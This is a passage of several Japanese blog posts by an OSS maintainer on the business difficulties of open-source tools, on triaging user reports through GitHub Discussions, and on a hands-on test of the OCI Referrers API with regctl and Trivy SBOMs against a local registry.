最近だとMicrosoftRed Hat, DatadogやElasticからのPRが増えていて、エンドユーザよりは弊社OSSを組み込んでサービスとして提供している会社からの貢献が大きいです。 もちろんありがたいのですが、一方でこれらは彼らのサービスをよりよくするためのものであり、気軽に受け入れることで競合を強くしてしまうという懸念もあります。 そういった機能追加がどの程度弊社の利益に寄与するかを考える必要があります。

レベニューシェアにならない

とあるCLIツールがセキュリティ機能を統合したのですが、この際に他社の商用製品を使っていました。 弊社のOSSの方が性能良いのになぜ他社の、しかも商用版をわざわざ使ったのだろうと不思議だったのですが、これはその商用版の契約が取れた場合に収益を還元する契約になっていたためでした。 ビジネスに疎かった自分としては盲点で、もっと純粋にOSSとしての完成度で競っているつもりでいました。 しかし実際にはもっと大人の世界があり、その中のロジックで選定されていました。 OSSだと確かに無料で導入出来る一方で1円も利益にはならないわけで、収益を分配できるビジネスモデルがあるならそっちを選ぶというのは納得です。 ただ良いOSSを作っていればよいわけではないのだなと個人的にはかなり大きな学びでした。

ちなみにその商用製品はやはり品質がイマイチで、その後に一時的にTrivyに切り替えていたりしました。 しかしレベニューシェアのビジネスモデルの旨味は大きく結局元の鞘に収まりました。 弊社も前からそういうモデルを構築しておけば良かったのですが、やや手遅れという感じでこの辺もきちんと考えてやらないとチャンスを逃します。

利用統計が取れない

OSSを使ってくれていたのに商用版に切り替えるタイミングで他社が選ばれてしまうということがあります。 事前にOSSを使ってくれていることを知っていれば営業などもやりやすいのですが、勝手にそういうデータを取得するOSSは嫌われがちです。 そのため基本はどこが使ってくれているか知らないのですが、弊社OSSを使っていることを偶然知ったおかげで契約に繋がったケースもあります。 ですがそういった事例はあくまで偶発的で、もっと能動的にデータが取れないと継続するのは難しいです。

やっておくべきこと

上述した難しさを踏まえ、前からやっておけばよかったなと思うことや今からでもやっておくべきだなと考えていることを書いておきます。 ただし絶賛模索中でして、これやれば万事解決!!みたいなのは全く無いです。 これをすれば少しでも良くなると思っているという話です。

お金を払いたい機能を見極める

どの機能ならお金を払ってくれるかという見極めは重要です。 上にも書いたようにOSSがスカスカだと意味がないので必要最低限の機能は備えつつ、かゆいところに手が届かない設計にする必要があります。 これはOSSに限らず最近のクラウド系サービスは無料機能と有料機能で分かれているので(無料なら直近90日の履歴だけ見られます、とか)自分が語るようなものでもない気がしますが一応触れておきます。

境界線を決める

これはOSSベースのサービスにおいては重要だと思います。 例えば大規模運用のための機能は有償版のみ、のような境界線を事前にきちんと定義しておく必要があります。 そうしないと上で説明したようにPRを受け入れる、受け入れない、の説明が難しくなります。 実装が簡単だったのでシュッとOSSに追加した機能が、実は有償版にとって重要だったみたいなことも起こります。

事前に明確に境界線を定義しておけばそういった間違いも起こりにくくコミュニティへの説明もしやすいです。

ライセンスについて考える

競合に使わせたくないということであればライセンスで商用サービスを制限することも候補に上がると思います。

www.itmedia.co.jp

こういったライセンスにすると厳密にはOSSではなくなってしまうわけですが、OSS原理主義者以外はそこまで気にしてないと思っています。 それよりも企業が存続できてOSS開発を継続できることのほうがエンドユーザにとっては重要なはずです。 また、ある程度経ってからライセンスを変更するのは難しいので最初からOSS戦略に組み込んでおくと良いと思います。

利用統計の取得方法について考える

勝手にデータを取得したりすると嫌がられるわけですが、オプトインの形で許諾を得れば問題ないよという企業やユーザも少なくないはずです。 OSSを使っていることを積極的に外部発信はしないが聞かれたら普通に答える企業は多いので、不快感なく利用統計が取れれば大きなアドバンテージになります。 そういったデータを使って営業するのはネガティブな印象もありますが、OSSでは機能が不足して困っているのに有償版の存在を知らなかったユーザも見かけているので、まず知ってもらうことは大事かなと思います。

OSSから有償版へのスムーズな移行を考える

これもTrivyの場合は個人で開発したOSSがあとから企業に組み込まれた背景が影響しているのですが、せっかくOSSを使ってくれていてもそこから有償版に切り替えるのが現状あまり容易ではありません。 ここの体験は非常に重要なので最初から設計に組み込んでおくべきです。

この辺がスムーズになっていれば他社サービスにまずOSSを組み込んでもらって有償版に繋がったら利益分配のような形も提案しやすいですし捗ると思います。

まとめ

難しさを書きましたが、事前にしっかり準備することで回避できることも多いと思います。 絶対的な答えを持ち合わせていなくて恐縮ですが、賢者は歴史に学ぶということで少しでも誰かのためになることを祈ります。

難しいということを共有しましたが、あまりネガティブな話をしているつもりはなくて挑戦的で楽しいなと思っています。 何も考えずに(もちろん会社としては色々と考えているので自分個人の話です)進めるとうまくいかないので戦略が必要という当たり前の話でした。

ビジネスは難しい。

OSSで新機能要望やバグ報告を全てGitHub Discussionsに起票してもらうことにしてみた

今回の案は自分のメンテナンスしているOSSだと回りそうという話で、これが他のプロジェクトにとっても良いと勧めているわけではないです。 ふーんそういう運用をしているところもあるんだと思って読んでもらえればと思います。

要約

バグ報告や新機能追加の要望などをGitHub IssuesではなくGitHub Discussionsに起票してもらうことにしました。 作られたdiscussionのうち、以下のものはissueを作ります。

  • 受け入れることに決めた新機能、かつ実装方針が明らかなもの
  • バグであることが確認できたもの

こうすることの利点として、GitHub Issuesには実行可能なタスクのみが残ることになります。TODOリストのようなものです。議論はGitHub Discussionsで行い、タスクはGitHub Issuesで管理します。

実際GitHubのドキュメントにも以下のように書いてあります。

GitHub Discussions を使用して、全体像のアイデアについて話し合い、ブレインストーミングを行って、プロジェクトを Issue にコミットする前にプロジェクトの特定の細部を詰めて、スコープを設定できます

ただ全てのチケットを一旦Discussionsに集めるというのはやや過激なやり方です。 これは複雑な運用にしたくないという思いや我々のOSS固有の事情もあるので、その辺の理由も今回書きました。

まだ始めて1週間程度なのでやっぱりうまくいかないわ、となるかもしれないですがここに至るまでチームでも色々議論していたので現時点での考えを整理しておきます。

背景

自分は仕事でOSSをメンテナンスしているのですが、GitHub Issues(以下、Issues)への報告が毎日そこそこの数来ます。巨大OSSになると未完了のissueが数万件とかあるのでそれに比べれば全然少ないとは思うのですが、それでも少人数で捌くには十分多くいくつかの問題を抱えていました。

質問への回答

単に「これどうやって設定したらいいの?」みたいな質問もIssuesに来ていました。Issueテンプレートを使ってラベルを付けることで区別していましたが、やはりIssuesが混沌としていく感じはありました。

バグ報告のノイズ

作っているOSSの性質上バグ報告にノイズが多いなと感じています。これについては以前ブログを書きました。

knqyf263.hatenablog.com

詳細は上の記事を見てほしいのですが、バグとして報告されても報告者の勘違いなことが多いです。セキュリティツールの性質上仕方なくはあるのですが、本当に直すべきバグ報告と実際には存在しないバグ報告がIssuesに混在していました。ラベルで頑張っていましたがやはり大変なのでどうにかしたいなと思っていました。

バグと言われることの精神的苦痛

上の件と似ていますが、自分が勘違いしているとは思わずにツール側が間違っていると思いこんでしまう人が少なくありません。 「ドキュメント見落としているかも」とか「設定間違っているかも」と思って質問として起票してくれる分には良いのですが、「絶対お前らが間違っている!バグに違いない!!B・U・G!!B・U・G!!」みたいな人も多いです。 本当にバグな場合は全然良いのですが、勘違いでバグだ!!と断言され続けるとしんどくなってきます。

Tweetの反応を見ていたらバグと言われ続けるの確かにしんどいという反応がいくつかあって、OSSあるあるのようでした。

自分個人は「OSSなんだから自分で直してくれ!」という考えが身に染み付いているのでスルーしたりもしていますが、チーム全体で言うとやはり仕組みでなんとかしたいなという気持ちがありました。

ちなみに断っておきますが、バグ報告をしないで欲しいという意味では全く無いです。 むしろ気軽にissueを立ててくれると助かると考えています。 そしてバグかどうかに関してもメンテナのほうが当然実装に詳しいのでユーザ側に誤解があるのも仕方ありません。 なのでこれはユーザへのお願いというよりは、そういう前提のもとで何とかする方法を考えなければならないという話になります。 もちろんユーザ側でも「これって本当にバグなのかな...?」と一度立ち止まって考えてもらえると嬉しい気持ちはありますが、今回はその話は置いておきます。

新機能要望

新機能要望はしばらく見ていると実現不可能な永遠にクローズできないものがIssuesに溜まっていくことに気づきました。 どうやって実装したらよいか皆目見当がつかない、でもアイディアとしては面白いしいつか何か新しい技術が現れたり実装方法を思いついたらやりたい、というものは結構多くあると思います。 こういう場合にクローズするわけにもいかないし、ただ放置されるということが多かったです。

Issuesの横の数字が増えていくことへの嫌悪感

少し話がそれますが、自分はメールの受信ボックスは常に0件にしておきたい派です。 メールアプリの右上に数字が出るのが嫌いです。 メール=タスクのように捉えているので、タスクが溜まっているのを常に突きつけられるのがしんどいのだと思います。 これは個人差があると思います。アプリの右上の数字が凄いことになっている人も少なくないと思います。

自分の場合、GitHub Issuesも同様に感じていました。 定期的にそんな感じのことを言っています。

もちろん本当にタスクなら良いのですが、そうではないカスタマーサポート的なチケットが溜まっていくのは複雑な思いでした。

Issues対応への強迫観念

Issuesはやはりタスクとしての意味合いが大きいので、大量のバグ報告が来るとたとえ勘違いであっても「直さなくては...」となって精神的にすり減ってしまうということもありました。 あとは質問の場合は必ずしもメンテナーが答える必要はなく利用者同士で助け合っても良いはずですが、Issuesだとどうしてもそういう雰囲気が醸成しにくかったように感じます。

マイルストーン決めるときにタスクの選定が面倒

マイルストーンを作成するときに新機能要望一覧からどれやろうかなーと考えたりするのですが、これもIssuesに全てごちゃ混ぜになっているせいでやりにくかったです。 もちろんこれもラベル運用はしていたものの、ラベル付け忘れて埋もれるやつとかもありましたし、そもそもフィルタリングのために追加でワンアクション必要というのは意外と煩わしさを感じました。

運用案

他にも挙げると色々あるのですが、とりあえずIssues単体での運用が難しくなっていました。 そこでGitHub Discussions(以下、Discussions)をより活用しようとなりました。 以前のDiscussionsは回答をマークすることができるだけでQ&Aな使い方がメインでしたが、最近クローズ機能も追加されもう少し幅広い活用が出来るのでは?となり運用方法を模索し始めました。

github.blog

そこで、以下のように役割を明確に分けることにしました。

  • GitHub Issues
    • 実行可能なタスク
      • 追加したい新機能
      • 修正が必要なバグ
  • GitHub Discussions:
    • 議論が必要なものや明確なゴールを持たないもの
      • 新機能のアイディア
      • バグと思わしきもの(誤検知等含む)
      • 質問

理想的には「実行可能なものだけGitHub Issuesにしてください」とユーザにお願いすることですが、バグなどはユーザ側の判断は難しいです。 新機能については追加したいかどうかはメンテナにしか決められません。

そのため、我々の運用としては”一旦全てDiscussionsに起票してもらう”になりました。 UI上からはdiscussionしか作成できない設定もしています(URL直接踏めばissueも作れますが)。 その後、議論や調査を経てIssuesに起票し直します。 具体的には以下の条件を満たした場合です。

  • 受け入れることに決めた新機能
  • バグであることが確認できたもの

イメージとしては"ユーザからの起票は全て質問として扱う"です。 Discussionsはカテゴリを作成できるので、以下のようにIdeas/Bugs/Q&Aなどを用意していますが、メンテナは全てがQ&Aと思っておきます。

そして得た質問を適切に新機能要望やバグ報告などのIssuesにしていきます。 discussionでとっ散らかったあとに合意した結論をまとめるほうが綺麗になると思うので、discussionの内容をもとに端的にまとめ直してissueを作るという運用にしています。 例えばバグ報告に関しては以下のようになるのが理想です。

  • GitHub Discussions
    • どのように想定と異なる挙動が起きているかを説明する
    • e.g. このオプションを渡すとクラッシュする
  • GitHub Issues
    • なぜそのバグが起きているのかを説明する
    • e.g. このオプション渡すとこの値がnullになってしまいクラッシュする

ただし上のDiscussions/Issuesの分類条件に従うと、バグは再現できたけど原因が分からないものもあると思います。 その辺はあまり厳密にせず、今のところは再現できてバグだと認めた場合は全部Issuesにしています。

この運用には以下のような利点と懸念があると考えています。

利点

タスクの分離

新機能について実現可能かつ実装したいものだけをIssuesに置くことでタスクが区別できるようになりました。 一方、以下のような新機能要望はDiscussionsに置いておきます。

  • 実現可能だが本当に追加するべきかは議論が必要のようなもの
  • 実現不可能なもの
  • 意図が不明なもの

バグ報告についてもIssuesには再現可能かつ修正すべきものだけを置くことでタスクが明確になります。 以下のようなバグ報告はDiscussionsに置いておきます。

  • まだトリアージできていないもの
  • 再現ができないもの
  • 意図が不明なもの

質問に関してはタスクではないのでそのままDiscussionsに置いておきます。

コミュニティ内のコミュニケーション促進

Issuesはメンテナとの対話感が強めでしたが、DiscussionsはStack Overflowのような中立感があるのでコミュニティの人々も気軽に書き込めることを期待しています。 これはGitHubもそのように意図して作っていると思うのですが(多分)、GitHubユーザに浸透するのはまだ時間がかかるかもしれません。

メンテナの精神的負担軽減

一方でメンテナ側はDiscussionsはよりコミュニティ向けの運用をすると決めてしまえば楽です。 Discussionsに来たバグ報告も「誰か再現してみてくれ〜」のように言ってしまって良いわけです。 これはIssuesでも出来る運用ではあるのですが、上に書いたようにIssuesはタスク感強めなので「早くクローズしたい」となって少しプレッシャーがあります。 "Discussions"という名前的にも「議論だしな!」と思って気持ちが楽になります(個人差あり)。 気の持ちようではあるのですが、チーム内で明確にIssuesとDiscussionsでスタンスを区別することでやりやすくなることを期待しています。

現実から目を背けるというか臭いものに蓋をするような感じもありますが、OSSでお金もらっているわけでもないですしメンテナが気持ちよく運用できればヨシ!

懸念

一方で懸念もあります。

アサインができない

Discussionsは議論の場なのでアサインがないのは納得なのですが、このバグの再現できるかやってみてくれない?とチームメンバーに振りたいこともあります。 そういうときにアサインがないと自分に振られたdiscussionの一覧が表示できないので少し不便です。

参照しているIssuesが表示できない

GitHubではとあるissueから他のissueを参照している場合に参照されている側のissueからも参照元が見えます。 Discussionsでは現在それができないようで、そのdiscussionを参照しているIssuesやDiscussionsの一覧が取得できないのは結構不便です。 これはGitHubが今後追加していってくれることに期待です。

なお、discussionをもとに作ったissueは表示されます。

トリアージが終わっていないバグはissueにならない

上で説明したようにバグと確信するまでは一旦Discussionsに置いておく運用なので、単に時間がなくてトリアージ出来ていないものがDiscussionsに残り続けることがありえます。 これはタスクが分離できていなくて良くない状態ですが、全てのバグをトリアージしようとすると永遠に機能開発ができないのである程度割り切っています。 より複数のユーザが同じバグ報告をしてきたら優先度を挙げてトリアージする運用で何とかやっていこうと考えています。

再現ができないバグはissueにならない

上記同様、特定の環境でのみ再現するバグなどが手元でうまく再現できずにDiscussionsに残り続けることがあります。 これはコミュニティに助けを求めて早めにトリアージできたら良いなと考えていますが、こちらもある程度割り切りです。

ユーザがバグ起票後にすぐPRを作ることができない

上の"トリアージが終わっていないバグはissueにならない"と本質的には同じ問題なのですが、小さいバグの場合はユーザが起票してすぐにPRを作ってくれることがあります。 ただし今のフローの場合はdiscussionを作ってからissueを作成するようになっているため、discussionに対してPRを作ることになってしまいます。 これは懸念というより実際に運用してみて既に起こっている問題なのですが、その場合はメンテナ側でPRレビュー時にissueを作ることで対応しています。 少し手間な感じはありますが、利点のほうが多いので現状は運用でカバーしています。

実現方法が思いつかないだけで追加したい新機能がissueにならない

メンテナが良い実装方法を思いつかないけどユーザが思いついていきなり凄いPRを送ってくることがあります。 こういう場合、そのアイディアはDiscussionsに残ったままになっているのでユーザが「メンテナはこの機能追加したくないのか...」となってPRを送るのをやめてしまうかもしれません。 こういうアイディアについては「良い実装方法が思いつかない」となるべくコメントを残して受け入れたくないわけではないことを明示することで理解してもらえることを期待しています。

ただ実装方針が明らかでないものは議論が必要だと思うので、凄い案を思いついたユーザもPR送る前に軽くdiscussion上で議論してもらえる方が健全な気がするので、この運用でそこまで悪くはないかと考えています。

いちいちdiscussion作るのが面倒

ここまでの運用方法はよりユーザ向けであって、メンテナは直接issueを作っても良いと考えています。 "New issue"ボタンからはissue作成はできなくなっていますが、issue作成用のURLをブックマークでもしておけば問題なく作れます。

代案

いくつかチーム内で出た議論についても残しておきます。

バグ報告を廃止して全て質問にしてもらえば?

数年OSSを運用して得た知見としては質問などはせずに「バグだ!!」と言いたい人が一定数存在します。 なのでバグ報告の窓口は残しておいてバグと言いたい欲求を満たしてもらいつつ、メンテナ的にはバグ報告はDiscussionsに置いて質問として扱います。

議論が必要なIssuesだけDiscussionsに変換したら良いのでは?

実際しばらくこれで運用していたのですが、トリアージする時間が取れない間どんどんIssuesが溜まっていって精神衛生上良くないので逆にしました。

Q&Aでユーザが"Mark as answer"してくれない場合はどうすれば良い?

Discussionsでは返答を"answer"としてマークすることができます。 これは主にQ&Aで使われるべき機能で、質問した人がマークしてくれるのが理想です。 ですがマークしてくれない人も多くQ&Aに回答済みにも関わらずクローズされないdiscussionが溜まっていきます。 これについてはメンテナ側がマークしちゃって良いのではないかと思っています。 もし疑問が解決していなければまたコメントしてくれるでしょうし、その場合は"Unmark as answer"も可能です。

新機能は直接Issuesでも良いのでは?

これは結構悩んだのですが、あまり複雑なルールにすると結局破綻するので一旦全部Discussionsで!ぐらいの簡単なルールにしました。 整合性を取るため実行可能なもののみIssuesに置くというポリシーを定め、Discussionsとの役割の違いを明確にしました。

まとめ

ノイズの少ないOSSプロジェクトだとこういう運用は不要かもしれません。 また、Issuesが溜まっていっても構わんよという場合も不要だと思います。 個人の性格に依存する話が多いと思うので多くのプロジェクトに当てはまるかは微妙ですが、OSSで消耗した人の話は世界的にもよく見かけるので少しでも気楽に運用するための参考になれば幸いです。

OCI Referrers APIを試す

まだどのOCIレジストリも対応していないのですが、新しく仕様が策定されたOCI Referrers APIを試してみた記事です。SBOMなどが話題になる一方で活用方法が不明なまま数年が経過しましたが、この新仕様によってその辺りが多少改善されると思っています。

背景

DockerイメージはDocker HubなどのDocker Registry HTTP APIに対応したレジストリで配布されるのが一般的でした。しかしコンテナ技術が普及する中でコンテナ仕様の標準化をしようということで"Open Container Initiative (OCI)"が発足しました。OCIによりコンテナランタイムやコンテナイメージの標準仕様が策定され、その後コンテナイメージの配布方法もOCI Distribution Specificationによって定義されました。その辺はもはや昔話になりますし記事だけ置いておきます。

www.publickey1.jp

OCI Distribution Specificationに準拠しているレジストリはOCIレジストリと呼ばれるのですが、クラウドネイティブの普及に伴いコンテナイメージ以外もOCIレジストリで配布可能なように拡張されました。具体的にはKubernetesで使われるHelmチャートやOpen Policy Agentで使われるRegoポリシー、さらにはWebAssemblyモジュールなども配布可能になっています。これらはまとめてOCIアーティファクトと呼ばれています。

github.com

OCIアーティファクトとかっこよく言ってみても結局何でも置けてしまうのでただの何でも置けるストレージと化していますが、最近Docker HubもOCIアーティファクト対応したことでGHCRやECRなど主要なレジストリはOCI準拠となりました。HomebrewなどはバイナリファイルをGHCRで配布しており、コンテナイメージに限らず既に広く利用されています。

www.docker.com

上のDockerのアナウンスでも触れられているように、OCIアーティファクトの代表例としてSoftware Bill of Materials (SBOM)があります。SBOMについては最近解説記事が多いのでここでは詳しくは説明しませんが、今回の文脈だとコンテナイメージを構成するソフトウェアの一覧表を指します。ソフトウェアサプライチェーンセキュリティへの関心が高まる中で注目を集めているのがSBOMです。単なるソフトウェア部品表なのでコンテナイメージに限った話ではないのですが、今回はコンテナイメージに着目します。このSBOMはコンテナイメージのメタデータなので、コンテナイメージに紐付けられると都合が良いです。しかし現状ではこの方法は確立されていません。コンテナイメージを新たに作り直してイメージ内のファイルとしてSBOMを保存しているケースもありますが、標準として策定されているわけではありません。

また、コンテナイメージに紐付けたいメタデータというのはSBOMだけではありません。最近注目されているソフトウェア署名などもその一つです。署名については以前記事を書いています。

knqyf263.hatenablog.com

新たに付与したいメタデータが出てくるたびにコンテナイメージを作るのは好ましくありません。せっかくイミュータブルにコンテナイメージを作っているので、既存のイメージには手を加えずメタデータを付与したいところです。しかし現状のOCIの仕様ではそれが出来ないため、何とかしようとして生まれたのがReferrers APIです。

今回の記事ではこのAPIを試していくのですが、執筆時点と仕様が異なる可能性大です。というのも一旦仕様がマージされたものの、Googleの人達が好きじゃないということで仕様を変更しようとしているためです(2023/3/14現在)。詳細は後述します。

github.com

「いやいやそのレベルの指摘は仕様策定中にするべきだろう」という真っ当な意見が出るなど絶賛議論中です。ということでどうなるかはまだ分からないのですが、一旦現状のものを見ていきます。安定してから見れば良くない?と言われるとその通りなのですが、KubeCon EU 2023でOCI Referrers APIの発表を控えておりそういうわけにもいかない状況です。

Microsoftの人達がAzure Container Registry (ACR) でOCI Referrers API対応を進めてくれているので自分が実装を担当するクライアント側も急ピッチで実装が必要なのですが、仕様がまだ安定しておらず焦っています。

OCI Reference Types

上ではReferrers APIと言ったのですが仕様はもう少し複雑で、このメタデータを紐付けるための全体的な仕様を指してReference Typesと呼んでいます。以下のWorking Groupで議論が行われていました。

github.com

最近みんなReference Typesと呼ばずに単にReferrersと呼んでいたりしていて呼び方が変わったのかよく分かってないです。現状の正式名称を見つけられていないのですが、とりあえずReference Typesと呼んでおきます。

この辺についてわかりやすくまとめられた発表があり、これを見れば正直一発です。

youtu.be

今回はこの内容プラスアルファという感じなのですが、自分の理解を整理するためにも検証記録を残しておきます。

Reference Typesの実装方法としていくつかの提案があったので、まずこれらの提案を紹介していきます。提案を理解するためにはOCIアーティファクトのフォーマットを理解しておく必要がありますが、以下の記事などで軽く説明しているので今回は説明しません。

sigstoreによるコンテナイメージやソフトウェアの署名 - knqyf263's blog

提案 1: OCI Artifact Manifest

現状のOCIアーティファクトはOCIイメージがベースであり以下の要素で構成されています。

  • manifest
  • config
  • layers

この上のmanifestはOCI Image Manifestと呼ばれるものですが、SBOMなどコンテナイメージ以外を保存したい場合はconfigも要らないですしlayerというのもおかしいです。そこで、configを消してlayerをblobにしたOCIアーティファクト用の新しいマニフェストを使おうというのが一つ目の提案でした。

https://youtu.be/_c1OdmP9Ssg P.15より引用

この図における左が既存のOCI Image Manifestで、右が新たに提案されたOCI Artifact Manifestです。上で散々OCIアーティファクトと言ってきましたが、実態はOCIイメージのlayerに強引にblobを入れてアーティファクトとして扱っているだけだったので今回きちんとOCI Artifact Manifestを作ろうということですね。さらに subject というフィールドを定義することでそのOCIアーティファクトが参照しているOCIイメージを定義可能にしています。

そして新たに作られたOCI Referrers APIを使うことでOCIイメージに紐付けられたOCIアーティファクトの一覧を取得可能にします。矢印がOCI Image Manifestから伸びているのは、OCIイメージのダイジェストをAPIに渡すことで一覧を得るためです。この際、OCI Image側には変更を加えずにOCI Artifactを紐付けていけるというのが重要です。上で述べたイメージを作り直さずにメタデータを付与したいという要件を満たしています。

提案 2: OCI Image Manifestへのsubjectの追加

次の提案ですが、OCI Image Manifestにsubjectを追加するというものです。

https://youtu.be/_c1OdmP9Ssg P.16より引用

このsubjectは上で説明したものと同じで参照先のOCIイメージを定義するためのものです。しかしOCI Artifact Manifestは新たに作らずに既存のOCI Image Manifestに追加するというのが違いです。Referrers APIも上と同じです。

提案 3: Custom Tag

既存の仕様を変えずになんとかハックしようというのが最後の提案です(実際には他にもいくつか提案がありましたが最後まで残らなかったので割愛)。これはSigstoreが現在行っている方法を基にしているので再度Sigstoreの解説記事を貼っておきます。

knqyf263.hatenablog.com

上のブログで紹介したようにSigstoreではコンテナイメージのダイジェストからタグを作り出すといったワークアラウンドを使っています。詳しくは上の記事を見てほしいのですが、 ghcr.io/aquasecurity/trivy:latestメタデータを保存したい場合はまずイメージのダイジェストを計算します。 ダイジェストが sha256:4fc1d17f2b746f0e2acf638eaa7ccb4e2b6dc567746c3a086518f18047f00012 だとしたら、 ghcr.io/aquasecurity/trivy:sha256-4fc1d17f2b746f0e2acf638eaa7ccb4e2b6dc567746c3a086518f18047f00012.sig というタグを作りここに署名を保存します。分かりにくいですが、 sha256-4fc1d17f2b746f0e2acf638eaa7ccb4e2b6dc567746c3a086518f18047f00012.sig はイメージのタグです。何が嬉しいかと言うと、クライアントが自力でメタデータを探しに行ける点です。ghcr.io/aquasecurity/trivy:latest というイメージ名を渡されればそこからダイジェストを計算して署名のタグに辿り着けます。

ただし上のタグ名は .sig というサフィックスからわかるように署名のためのものです。 .sbom.attestation なども作っていくとタグが乱立することになりますしメタデータ一覧を取るのが少し面倒です。そこでメタデータを全て <alg>-<hash> に入れてしまおうというのがこの提案です。上のSigstoreのやり方から .sig を削っただけですね。 ghcr.io/aquasecurity/trivy:sha256-4fc1d17f2b746f0e2acf638eaa7ccb4e2b6dc567746c3a086518f18047f00012 のようになります。

https://youtu.be/_c1OdmP9Ssg P.17より引用

実際には上図だと一つのOCIアーティファクトしか保存できないので、例えばSBOMを一つ保存したらそれで終わってしまい実用的ではありません。その辺については後述します。

発表ではCustom Tagと呼ばれていましたが、仕様ではreferrers tagと呼ばれています。本記事内ではCustom Tagと呼んでおきます。

github.com

採用された案

繰り返しになりますが、これは現状の案であって変更される可能性が高いです。まず図を見てみます。

https://youtu.be/_c1OdmP9Ssg P.20より引用

結果として全部盛りになりました。上で説明した提案1-3が全て採用されています。まず提案1で説明したように、subjectフィールドを持ったOCI Artifact Manifestが新たに足されています。それに加えて提案2のようにOCI Image Manifestにもsubjectが足されています。それら全てを取得可能なようにReferrers APIも生えています。さらに、提案3のようにCustom Tagでも動くことが期待されます。

Referrers APIがあればCustom Tag要らなくない?というのは正しいのですが、OCIレジストリがReferrers APIに対応するのは時間がかかる可能性があります。そのような場合にも動作できるように後方互換性のためにCustom Tagが足されたという背景です。Custom Tagの場合はOCIレジストリへの変更は不要でクライアントが頑張る必要があります。この場合は subject フィールドも対応されていないはずなので単に提案3の通りに動くというイメージです。

クライアントに期待される動作としては、まずOCIレジストリがReferrers APIに対応しているかを確認し対応している場合はAPIを使ってReferrersを取得する。その際のReferrersのマニフェストはImage ManifestかもしれないしArtifact Manifestかもしれない。もしReferrers APIに対応していない場合はCustom Tagにフォールバックする、というものになります。具体的にはAPIが404を返したら〜などになるのですが、そのへんは細かいので仕様を参照してください。

github.com

Custom Tagについては先ほど説明しませんでしたが、1つのタグで複数のOCIアーティファクトを保存できる必要があります。そうでないとSBOMを1つ保存して終わってしまうので、その仕組みについて説明しておきます。OCIにはImage Index Specificationというものが存在し、OCIイメージの複数アーキテクチャ対応などに使われています。例えば alpine:3.17 をpullする際には内部で勝手にホストに合致するアーキテクチャのイメージを取ってくるようになっています。つまり alpine:3.17 というのはOCI Image ManifestではなくOCI Image Indexになっています。craneというツールでマニフェストを見てみると以下のように linux/amd64linux/arm64 などのマニフェストへのリンクになっています。

$ crane manifest alpine:3.17 | jq .
{
  "manifests": [
    {
      "digest": "sha256:e2e16842c9b54d985bf1ef9242a313f36b856181f188de21313820e177002501",
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "platform": {
        "architecture": "amd64",
        "os": "linux"
      },
      "size": 528
    },
    {
      "digest": "sha256:e8748b26b68a624c7d2622ff045ce32b76ea31b50bba8e74989cd9ec84e33bb0",
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "platform": {
        "architecture": "arm",
        "os": "linux",
        "variant": "v6"
      },
      "size": 528
    },
    ...
    {
      "digest": "sha256:fe2da55ca9a717feb2da5d65171cee518cc157c5fcfe35c02972d9c4aa48aa1d",
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "platform": {
        "architecture": "s390x",
        "os": "linux"
      },
      "size": 528
    }
  ],
  "mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",
  "schemaVersion": 2
}

これを応用してReferrrersをこの中に詰め込みます。

ということでReference Typesについての説明は以上です。以下で実際に試してみます。

検証

上の提案2と提案3のそれぞれを個別に試します。Custom Tagは既存のOCIレジストリの実装で動くことが期待されているので先にそっちからやっていきます。これも上の動画でデモとして行われていたことをそのままやっているだけです。

Custom Tag

OSSでOCIレジストリの実装が提供されているのでこれを使って試してみます。現時点ではReferrers APIには対応していません。

github.com

一方クライアントはCustom Tagのことを理解して動作する必要があるのでReference Types対応のものを使います。今回は regctl というツールを使いますが oras などでも同様のことが出来ます。regctl は適当にインストールしておいてください。

OCIレジストリのセットアップ

コンテナイメージとして提供されているのでDockerで簡単に立ち上げることが出来ます。以下のコマンドを打つと localhost:5001 で起動します。

$ docker run -d --rm --label demo=referrers -e REGISTRY_STORAGE_DELETE_ENABLED=true -e REGISTRY_VALIDATION_DISABLED=true -p 127.0.0.1:5001:5000 registry:2

検証目的なのでTLSは使っていません。regctl はデフォルトだとTLS必須なので無効化しておきます。もちろん本番環境では推奨されません。

$ regctl registry set --tls=disabled localhost:5001

イメージのコピー

Docker Hubからイメージをこちらのローカルレジストリにコピーします。この際、なぜかバージョンによってはタグ指定だとエラーを吐くのでダイジェストを使います。

$ digest=$(regctl image digest --platform linux/arm64 regclient/regctl:edge)
$ regctl image copy regclient/regctl@${digest} localhost:5001/demo-referrers-2023:app

何の変哲もないですが一応マニフェストを確認しておきます。OCI Image Manifestです。

$ regctl manifest get localhost:5001/demo-referrers-2023:app --format body | jq .
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.oci.image.manifest.v1+json",
  "config": {
    "mediaType": "application/vnd.oci.image.config.v1+json",
    "size": 3101,
    "digest": "sha256:f7c0b1830b92185f1805c1998ed5a2ef6d64608d0f9d079b8f07bef5f7c7803d"
  },
  "layers": [
    {
      "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
      "size": 85,
      "digest": "sha256:3d67ddc212ffba510628b93c0936f90dabcab9993f095cc1899fb1bcbe86b42a"
    },
    {
      "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
      "size": 938,
      "digest": "sha256:212a3e17813e7f1c89fbb652011b1f6f9ced25df1ed44364238cf7cb7e42a105"
    },
    {
      "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
      "size": 123550,
      "digest": "sha256:3a5d0be4319d4dee0c58b0a5eee8cff9a2f20c7c7d9601cdcd4d6300e2540a3c"
    },
    {
      "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
      "size": 142,
      "digest": "sha256:97d03c30220c7b4e9ad7c12532a179b2ad4da999668e13d4f2fb5ec9ed98af84"
    },
    {
      "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
      "size": 3201405,
      "digest": "sha256:e06533488547d1d6ec75c184591a7a8ccc9721564e381f9fc1c68d72e1cde954"
    }
  ]
}

Referrerの保存

regctl には artifact put というサブコマンドがありReferrerを簡単に保存することが出来ます。適当なツールでSBOMを作成して保存してみます。今回は Trivy を使います(自分が作っているので)。SBOMのフォーマットはCycloneDXです。

$ trivy image -q -f cyclonedx localhost:5001/demo-referrers-2023:app \
         | regctl artifact put --subject localhost:5001/demo-referrers-2023:app \
             --artifact-type application/vnd.cyclonedx+json \
             -m application/vnd.cyclonedx+json \
             --annotation "org.opencontainers.artifact.description=CycloneDX JSON SBOM"

